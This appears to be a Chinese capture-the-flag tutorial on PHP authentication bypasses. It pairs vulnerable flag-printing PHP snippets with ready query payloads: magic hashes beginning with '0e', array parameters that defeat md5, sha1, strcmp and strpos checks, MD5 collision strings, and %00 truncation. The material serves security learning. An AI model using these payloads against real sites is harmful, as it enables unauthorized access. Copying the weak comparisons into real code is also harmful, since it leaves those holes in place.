1、MD5函数漏洞
1 2
| $_GET['name'] != $_GET['password'] MD5($_GET['name']) == MD5($_GET['password'])
|
要求满足上述条件则
那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:
1 2 3 4 5 6
| QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
|
以下值在sha1加密后以0E开头:
1 2 3 4
| sha1('aaroZmOk') sha1('aaK1STfY') sha1('aaO8zKZF') sha1('aa3OFF9m')
|
GET传入a=QNKCDZO&b=240610708就能绕过了
2、php特性
1 2 3
| if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ die("success!"); }
|
在php中===为完全等于运算,不仅比较值,而且还比较值的类型,只有两者一致才为真。再次使用a=QNKCDZO&b=240610708就不行了,因为a和b类型不同。
PHP中md5的函数特性
1 2
| md5([1,2,3]) == md5([4,5,6]) == NULL [1] !== [2] && md5([1]) === md5([2])
|
所以GET传入a[]=1&b[]=2就能够绕过了。
3、MD5碰撞
1 2 3
| if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){ die("success!); }
|
要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。
使用fastcoll_v1.0.0.5.exe工具碰撞
1 2
| Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
|
MD5值相同使用谷歌可以搜到相当多被巧妙构造出的二进制文件,其MD5相同,注意一点,post时一定要urlencode!!!建议使用burp编码
3.1、0e215962017
md5("0e215962017")==0e291242476940776845150308577824
md5后与自己弱相等
4、实战
4.1、数组绕过md5和strcmp
index.php
1 2 3 4 5 6 7 8 9 10 11 12
| <?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>
|
payload
1
| /index.php?v1[]=1&v2[]=2&v3[]=3
|
4.2、QNKCDZO碰撞
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
|
要求输入两个md5值一样,但是字符串不一样的值,但是因为他比较使用的是==,所以可以通过md5值为0e开头的字符串绕过,因为php在处理==的时候当碰到的字符串有一边为0e开头的就把这串字符串认为是科学计数法,所以就是0,所以可以通过另一个md5值也是0e开头的字符串进行绕过.
payload
1 2 3 4 5 6 7 8 9
| s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a
|
4.3、还是数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file('flag.php'); $_GET['id'] = urldecode($_GET['id']); $flag = 'flag{xxxxxxxxxxxxxxxxxx}'; if (isset($_GET['uname']) and isset($_GET['passwd'])) { if ($_GET['uname'] == $_GET['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_GET['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
} ?>
|
payload
1
| /?uname[]=1&id=margin&passwd[]=2
|
4.4、弱类型整数大小比较绕过
1 2 3 4
| $temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;
|
payload
?password[]=1
4.5、数组返回NULL绕过
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $flag = "flag";
if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
|
payload
?password[]=1
4.6、strpos数组绕过
1 2 3 4 5 6 7 8 9 10 11
| <?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
|
payload
?ctf[]=1
4.7、00截断正则/也可以数组绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } }
|
payload
1 2 3 4
| 1-利用数组绕过这两个函数 ?password[]=1 2-%00截断绕过正则匹配 ?password=1e9%00*-*
|
4.7、is_number
[极客大挑战 2019]BuyFlag
1 2 3 4 5 6 7 8
| if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be number</br>"; }elseif ($password == 404) { echo "Password Right!</br>"; } }
|
payload
password=404
(后面加一个空格)
tps:%00
文件包含是否支持%00截断取决于:
PHP版本<=5.2 可以使用%00进行截断。